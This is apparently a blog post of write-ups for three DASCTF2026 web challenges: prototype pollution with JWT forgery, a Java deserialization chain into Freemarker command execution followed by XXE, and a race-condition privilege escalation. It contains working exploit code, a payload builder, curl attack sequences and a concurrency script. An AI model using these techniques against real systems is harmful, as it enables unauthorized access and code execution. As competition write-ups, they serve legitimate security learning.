mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
1939 字
5 分钟
DASCTF2026
2026-05-30

image-20260530141841058

WEB就三道题,一个js原型链污染,一个高并发flask,一个java,手注0,ai3,gpt拿了mvp,btop251是躺赢狗

CorpGate#

一套全新的企业员工门户系统CorpGate

源码分析

  1. 用户可控的设置合并入口

routes/user.js 中的 /api/settings 会把用户提交的 JSON 合并到当前用户的 settings 对象:

router.post('/api/settings', authMiddleware, (req, res) => {
const user = Object.values(users).find(u => u.id === req.user.id);
if (!user) return res.status(404).json({ error: 'User not found' });
if (typeof req.body !== 'object' || req.body === null || Array.isArray(req.body)) return res.status(400).json({ error: 'Invalid request body' });
deepMerge(user.settings, req.body);
res.json({ success: true, message: 'Settings updated', settings: user.settings });
});

这里 req.body 完全由用户控制,危险点在 deepMerge()

  1. 深度合并存在原型链污染绕过
const BLOCKED_ROOTS = ['__proto__', '__defineGetter__', '__defineSetter__', 'constructor', 'prototype'];
const BLOCKED_KEYS = ['__proto__', '__defineGetter__', '__defineSetter__'];
const MAX_DEPTH = 6;
function sanitizeKey(key) {
return key.replace(/\./g, '');
}
function deepMerge(target, source, depth) {
if (depth === undefined) depth = 0;
if (depth >= MAX_DEPTH) return target;
for (var rawKey in source) {
var key = sanitizeKey(rawKey);
if (key === '') continue;
if (BLOCKED_KEYS.indexOf(key) !== -1) continue;
if (depth < 3 && BLOCKED_ROOTS.indexOf(key) !== -1) continue;
if (isPlainObject(source[rawKey])) {
if (typeof target[key] === 'object' && target[key] !== null) {
deepMerge(target[key], source[rawKey], depth + 1);
} else if (typeof target[key] === 'function') {
deepMerge(target[key], source[rawKey], depth + 1);
}
} else {
target[key] = source[rawKey];
}
}
return target;
}

过滤逻辑的问题:

  • constructorprototype 只在 depth < 3 时被拦截;
  • 当深度达到 3 后,可以使用 constructor.prototype
  • 代码还允许 target[key] 是函数时继续递归;
  • 对象的 constructor 通常是 Object 函数,继续访问其 prototype 即可到达 Object.prototype

于是可以构造

{
"notifications": {
"digest": {
"channels": {
"constructor": {
"prototype": {
"pending": "attacker-known-secret"
}
}
}
}
}
}

合并路径:

user.settings.notifications.digest.channels.constructor.prototype.pending

image-20260530143119183

污染之后去/api/system/healthcheck触发更新

这样secretkey就变成secret了,接下来伪造jwt密钥获得admin权限

image-20260530143501476

image-20260530144301425

TaxManager#

安全的税务系统

JVAV还一点不会,直接ai梭的,所以直接贴ai的wp了

一、题目概览#

这题表面上是一个税务管理系统,附件提供了一个 Spring Boot JAR。
实际解题时有一个关键点:远端运行的 JAR 和附件里的 JAR 不是同一个版本

本题真实利用链如下:

  1. 注册并登录普通用户
  2. 利用 /api/profile/update 的反射赋值越权,把自己角色改成 reviewer
  3. 申请一条退款记录
  4. 构造恶意 attachmentData,经 /api/review 写入 voucherData
  5. 调用 /api/export/generate 触发 Java 反序列化
  6. 反序列化链中进入 Freemarker 模板执行,执行系统命令
  7. 将 flag 写入 /tmp/x
  8. 利用 /api/import/history 的 XXE 读取 /tmp/x

二、附件审计与远端差异确认#

附件路径:

D:\Users\CTF_sources\web\dasctf2026\TaxManager\tempdir\WEB附件\taxmanager-1.1.0-ctf.jar

先看附件哈希:

Terminal window
Get-FileHash -Algorithm SHA256 `
'D:\Users\CTF_sources\web\dasctf2026\TaxManager\tempdir\WEB附件\taxmanager-1.1.0-ctf.jar'

附件哈希:

E11BCB326E86B11DF52ADB0DB895A457FAC4A95C1E11D00D97A05B83E7A53737

然后访问公开帮助接口:

curl http://ee4912d8.http-ctf2.dasctf.com:80/api/help

帮助接口中出现了:

  • GET /download/app.jar

下载远端运行包:

curl -L -o remote_app.jar http://ee4912d8.http-ctf2.dasctf.com:80/download/app.jar

计算远端包哈希:

Terminal window
Get-FileHash -Algorithm SHA256 .\remote_app.jar

远端哈希:

A25551A7BE8B11A3F07DFBEE32D8ACFBEA35E2FDAA6B1D90BD8A2A8EE234D92E

结论:

  • 附件 JAR != 远端运行 JAR
  • 后续分析必须以 remote_app.jar 为准

三、信息收集#

首页与帮助接口:

curl http://ee4912d8.http-ctf2.dasctf.com:80/
curl http://ee4912d8.http-ctf2.dasctf.com:80/api/help

可以得到这些接口:

  • /api/register
  • /api/login
  • /api/profile/update
  • /api/refund/apply
  • /api/review
  • /api/export/prepare
  • /api/export/generate
  • /api/import/history
  • /download/app.jar

帮助接口还明确写了:

  • 角色有 taxpayer | reviewer | admin
  • voucher 是 “Java object, base64 encoded”
  • export 是“两步流程”

这几个点已经很像故意给的出题线索。


四、反编译远端 JAR#

列出远端 JAR 内容:

jar tf remote_app.jar

提取 BOOT-INF/classes

jar xf remote_app.jar BOOT-INF/classes BOOT-INF/lib META-INF/maven

关键类:

  • com.tax.controller.AuthController
  • com.tax.controller.ReviewController
  • com.tax.controller.ExportController
  • com.tax.controller.ImportController
  • com.tax.util.SerializeUtil
  • com.tax.util.ScheduledTaskHandler
  • com.tax.job.ReportJob
  • com.tax.report.PdfReportGenerator

反编译可直接用:

javap -classpath BOOT-INF/classes -c -p com.tax.controller.AuthController
javap -classpath BOOT-INF/classes -c -p com.tax.controller.ReviewController
javap -classpath BOOT-INF/classes -c -p com.tax.controller.ExportController
javap -classpath BOOT-INF/classes -c -p com.tax.controller.ImportController

五、漏洞 1:角色越权#

1. 漏洞点#

AuthController.updateProfile() 对用户提交的 JSON 做了反射赋值:

逻辑核心:

  • 只禁止修改:idusernamepassword
  • 如果字段名是 role 且值为 admin,会跳过
  • 但没有禁止把 role 改成 reviewer

也就是:

  • role=admin 不行
  • role=reviewer 可以

2. 利用方式#

先注册登录,然后发:

POST /api/profile/update
Content-Type: application/json
{"role":"reviewer"}

验证:

curl -b cookies http://ee4912d8.http-ctf2.dasctf.com:80/api/profile

返回中 role 变成了:

{"role":"reviewer","success":true,...}

这一步拿到 reviewer 权限,后面就能调用审批和导出接口。


六、漏洞 2:可控反序列化链#

1. 写入点:/api/review#

ReviewController.reviewRefund()

  • reviewer/admin 可调用
  • action=approve
  • attachmentData 非空时只校验 HMAC 签名
  • 签名正确就把 attachmentData 传给 RefundService.approveRefund()

application.properties 中硬编码了签名密钥:

api.signing.secret=TaxManager_Secret_K3y_2026_Un1que

因此我们可以本地生成合法签名。

2. 落地点:RefundService.approveRefund()#

如果 attachmentData 非空,则:

req.setVoucherData(attachmentData);

也就是说我们能直接控制数据库里的 voucherData

3. 触发点:/api/export/generate#

ExportController.generateExport() 在 token 校验通过后,会做:

Object obj = SerializeUtil.deserialize(voucherData);

SerializeUtil.deserialize() 直接:

new ObjectInputStream(...).readObject();

这是标准 Java 原生反序列化。

4. Gadget 链#

链条如下:

  1. ScheduledTaskHandler.readObject()
  2. 遍历 taskQueue
  3. 对每个 Runnable 执行 run()
  4. ReportJob.run()
  5. PdfReportGenerator.render(templateContent)
  6. render() 使用 Freemarker StringTemplateLoader
  7. 模板可控,触发 Freemarker 模板执行

因此完整链是:

ObjectInputStream.readObject()
-> ScheduledTaskHandler.readObject()
-> Runnable.run()
-> ReportJob.run()
-> PdfReportGenerator.render()
-> Freemarker template execution

七、XXE 点分析#

ImportController.importHistory(byte[]) 是远端版本新增的逻辑。

关键点:

  1. 先把原始字节按 UTF-8 / UTF-16LE / UTF-16BE 转字符串
  2. 只要原始 payload 中包含 flag,直接拦截:
Security Alert: Invalid keyword detected in payload
  1. 之后仍然用默认 DocumentBuilderFactory.newInstance() 去解析 XML
  2. 未禁用外部实体,因此 XXE 仍然成立
  3. 如果解析结果或异常消息中出现 flag / DASCTF,又会二次拦截

所以直接读:

  • file:///flag
  • file:///flag.txt

会被关键字规则挡住。

解法是:

  • 先用反序列化执行命令把 flag 写到别的文件里
  • 然后 XXE 读取该中转文件

八、利用思路#

因为 XXE 不能直接读 /flag,所以分两步:

第一步:命令执行,把 flag 写到 /tmp/x#

执行命令:

base64 /flag > /tmp/x || base64 /flag.txt > /tmp/x

这样有两个好处:

  1. XML 里不直接出现 flag
  2. 读取 /tmp/x 时返回的是 base64,不容易被回显规则误杀

第二步:XXE 读取 /tmp/x#

构造:

<!DOCTYPE history [<!ENTITY xxe SYSTEM "file:///tmp/x">]>
<history><taxpayerId>&xxe;</taxpayerId></history>

这样就能把 /tmp/x 内容带回来。


九、本地构造 payload#

我本地写了一个辅助类 BuildPayload.java,用于生成序列化后的 base64。

代码如下:

import com.tax.job.ReportJob;
import com.tax.report.PdfReportGenerator;
import com.tax.util.ScheduledTaskHandler;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Queue;
public class BuildPayload {
public static void main(String[] args) throws Exception {
if (args.length < 1) {
System.err.println("usage: BuildPayload <command...>");
System.exit(1);
}
String command = String.join(" ", args);
String template =
"<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\""
+ command.replace("\\\\", "\\\\\\\\").replace("\"", "\\\\\"")
+ "\")}";
ScheduledTaskHandler handler = new ScheduledTaskHandler();
Field taskQueueField = ScheduledTaskHandler.class.getDeclaredField("taskQueue");
taskQueueField.setAccessible(true);
@SuppressWarnings("unchecked")
Queue<Runnable> queue = (Queue<Runnable>) taskQueueField.get(handler);
queue.add(new ReportJob(new PdfReportGenerator("pdf"), template));
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(handler);
oos.close();
System.out.print(Base64.getEncoder().encodeToString(baos.toByteArray()));
}
}

编译:

javac -cp "BOOT-INF/classes;BOOT-INF/lib/*" -d . BuildPayload.java

生成 payload:

java -cp ".;BOOT-INF/classes;BOOT-INF/lib/*" BuildPayload "sh -c base64$IFS/flag>/tmp/x||base64$IFS/flag.txt>/tmp/x"

这里用 $IFS 代替空格,避免命令字符串被额外转义搞坏。


十、完整复现步骤#

下面给一套可直接照抄的步骤。

1. 注册#

curl -c cookies.txt -b cookies.txt \
-H "Content-Type: application/json" \
--data-binary "{\"username\":\"user1\",\"password\":\"P@ssw0rd123\",\"taxpayerId\":\"TAX001\"}" \
http://ee4912d8.http-ctf2.dasctf.com:80/api/register

2. 登录#

curl -c cookies.txt -b cookies.txt \
-H "Content-Type: application/json" \
--data-binary "{\"username\":\"user1\",\"password\":\"P@ssw0rd123\"}" \
http://ee4912d8.http-ctf2.dasctf.com:80/api/login

3. 升级为 reviewer#

curl -c cookies.txt -b cookies.txt \
-H "Content-Type: application/json" \
--data-binary "{\"role\":\"reviewer\"}" \
http://ee4912d8.http-ctf2.dasctf.com:80/api/profile/update

4. 申请退款#

curl -c cookies.txt -b cookies.txt \
-H "Content-Type: application/json" \
--data-binary "{\"amount\":4.56,\"taxYear\":2025,\"reason\":\"flag\"}" \
http://ee4912d8.http-ctf2.dasctf.com:80/api/refund/apply

记录返回里的 id,假设为 4

5. 生成恶意序列化 payload#

java -cp ".;BOOT-INF/classes;BOOT-INF/lib/*" BuildPayload "sh -c base64$IFS/flag>/tmp/x||base64$IFS/flag.txt>/tmp/x"

得到一段 base64,记为 PAYLOAD_B64

6. 计算签名#

签名算法:

  • HMAC-SHA256
  • key = TaxManager_Secret_K3y_2026_Un1que
  • 明文 = PAYLOAD_B64
  • 输出 = Base64

Python 版:

import hmac
import hashlib
import base64
secret = b"TaxManager_Secret_K3y_2026_Un1que"
data = b"PAYLOAD_B64"
sig = base64.b64encode(hmac.new(secret, data, hashlib.sha256).digest()).decode()
print(sig)

7. 审批恶意退款#

curl -c cookies.txt -b cookies.txt \
-H "Content-Type: application/json" \
-H "X-Signature: YOUR_SIGNATURE" \
--data-binary "{\"refundId\":4,\"action\":\"approve\",\"attachmentData\":\"PAYLOAD_B64\"}" \
http://ee4912d8.http-ctf2.dasctf.com:80/api/review

8. 准备导出#

curl -c cookies.txt -b cookies.txt \
-H "Content-Type: application/json" \
--data-binary "{\"refundId\":4}" \
http://ee4912d8.http-ctf2.dasctf.com:80/api/export/prepare

拿到 exportToken

9. 触发反序列化#

curl -c cookies.txt -b cookies.txt \
-H "Content-Type: application/json" \
--data-binary "{\"refundId\":4,\"exportToken\":\"YOUR_TOKEN\"}" \
http://ee4912d8.http-ctf2.dasctf.com:80/api/export/generate

这里虽然返回通常是:

{"success":false,"message":"Unexpected object type: com.tax.util.ScheduledTaskHandler. Expected: com.tax.model.TaxReport (serialVersionUID=1)"}

但这并不影响命令已经执行。
因为 readObject() 已经先跑完了,报错只是后续 instanceof TaxReport 检查失败。

10. XXE 读取 /tmp/x#

curl -b cookies.txt \
-H "Content-Type: application/xml" \
--data-binary '<!DOCTYPE history [<!ENTITY xxe SYSTEM "file:///tmp/x">]><history><taxpayerId>&xxe;</taxpayerId></history>' \
http://ee4912d8.http-ctf2.dasctf.com:80/api/import/history

返回类似:

{"success":true,"message":"History imported successfully for taxpayer: REFTQ1RGezZmZjA4ZDU4LTkzYWEtNDM1Ni1iZGI3LTllNjcwNGM3NDBlY30K\n"}

十一、解码 flag#

base64 解码:

echo 'REFTQ1RGezZmZjA4ZDU4LTkzYWEtNDM1Ni1iZGI3LTllNjcwNGM3NDBlY30K' | base64 -d

得到:

DASCTF{6ff08d58-93aa-4356-bdb7-9e6704c740ec}

InkVerse#

InkVerse是一个功能丰富的社区博客平台,支持文章发布、赞赏打赏、内容审核、文章导出以及每周摘要报告等功能。平台最近完成了一次大规模架构升级,引入了后台任务队列和分级公告系统。作为受邀的安全顾问,你的任务是对该系统进行全面评估。试试 /api/docs

提权#

开局一个登录框,先注册账号

image-20260530145019209

这道题有个打赏系统,可以通过别人的打赏获得声望,达到50声望以上就可以成为审稿人(reviewer)

可以看到有一个接口bullen在普通用户权限下是没办法使用的

所以我们要想办法成为reviewer,在这里的常规打赏没办法达到50以上

这个时候@marin师傅提出了创造性的一步,尝试高并发看看能不能过

如果多个请求并发命中,就可能在余额尚未正确更新前同时通过检查,导致:

  • 成功打赏次数超过 20 次
  • 余额变成负数
  • 声望突破 40 点上限

复现脚本

import requests
import random
import concurrent.futures
base = "http://58873f99.http-ctf2.dasctf.com"
u = "rvw" + str(random.randint(100000, 999999))
p = "pass1234"
s = requests.Session()
s.post(base + "/register", data={"username": u, "password": p}, allow_redirects=False)
s.post(base + "/login", data={"username": u, "password": p}, allow_redirects=False)
cookie = s.cookies.get("session")
headers = {
"Cookie": f"session={cookie}",
"Content-Type": "application/json",
"Connection": "close",
}
def tip(_):
try:
r = requests.post(
base + "/api/tip",
data='{"article_id":1}',
headers=headers,
timeout=10,
)
return r.status_code, r.text
except Exception as e:
return "ERR", repr(e)
with concurrent.futures.ThreadPoolExecutor(max_workers=160) as ex:
results = list(ex.map(tip, range(320)))
s2 = requests.Session()
s2.post(base + "/login", data={"username": u, "password": p}, allow_redirects=False)
print("account:", u, p)
print(s2.get(base + "/api/user/info").text)

image-20260530145820424

拿到 reviewer 后,可以访问:

GET /review

以及导出接口:

POST /api/export
Content-Type: application/json
{"article_id":1}

导出完成后,通过:

GET /api/export/status

可以拿到输出文件名,例如:

  • export_1_1.txt
  • export_2_2.txt
  • export_3_3.txt

下载导出文件:

GET /exports/export_1_1.txt

得到内容类似:

Title: Welcome to InkVerse
Author: admin
Export-ID: 1
Processed-At: 2026-05-30 04:21:29
Integrity: a606867c38f1d10f4bf4f6480cad8c83
Feature-Token: 68aa12766d60014a4685760309c7b4d57b22788f93b2ab00fdbbe04da8480bad
---
This is the official blog platform. Share your stories with the world!

这里的关键点是:

导出文件直接泄露了 Feature-Token

题目接口文档里写了:

POST /api/review/feature

而 reviewer 测试时,服务端会明确报错:

{"error":"signature required. Use a valid feature signing token."}

说明 signature 实际上就是某种 feature token。

利用 Feature-Token 申请精选#

1. 先准备自己的文章#

普通用户新建文章并提交审核:

POST /article/new
POST /article/<id>/submit

2. reviewer 审核通过#

POST /api/review/single
Content-Type: application/json
{"article_id":5,"action":"approve"}

3. reviewer 导出该文章#

POST /api/export
Content-Type: application/json
{"article_id":5}

下载导出文件后得到对应 token,例如:

Feature-Token: 12d5db4900f7b23051619f2682f51eb58909d5d8861d443ef6f9ce4e3d980880

4. 用 token 提交精选请求#

POST /api/review/feature
Content-Type: application/json
{
"article_id": 5,
"signature": "12d5db4900f7b23051619f2682f51eb58909d5d8861d443ef6f9ce4e3d980880"
}

服务端返回:

{"message":"Feature request submitted for background processing"}

之后轮询:

GET /api/review/feature/status?article_id=5

状态会从:

{"status":"pending"}

变为:

{"status":"approved"}

同时首页中该文章会出现:

  • Featured 标记
  • article-card featured 样式

这说明文章作者已经进入 featured_authors 可见级别。

文章被标记为 featured 后,原作者再访问:

GET /bulletin

即可看到专属公告:

<h3>Featured Author Rewards</h3>
<p>
Congratulations! As a featured author, you have access to exclusive content and the weekly digest reports.
Secret credential: DASCTF{bda61e3f-7154-44c7-abf1-7216a67c03eb}
</p>

因此最终 flag 为:

DASCTF{bda61e3f-7154-44c7-abf1-7216a67c03eb}
分享

如果这篇文章对你有帮助,欢迎分享给更多人!

DASCTF2026
https://blog.btop251.top/posts/ctf/dasctf2026/
作者
btop251
发布于
2026-05-30
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录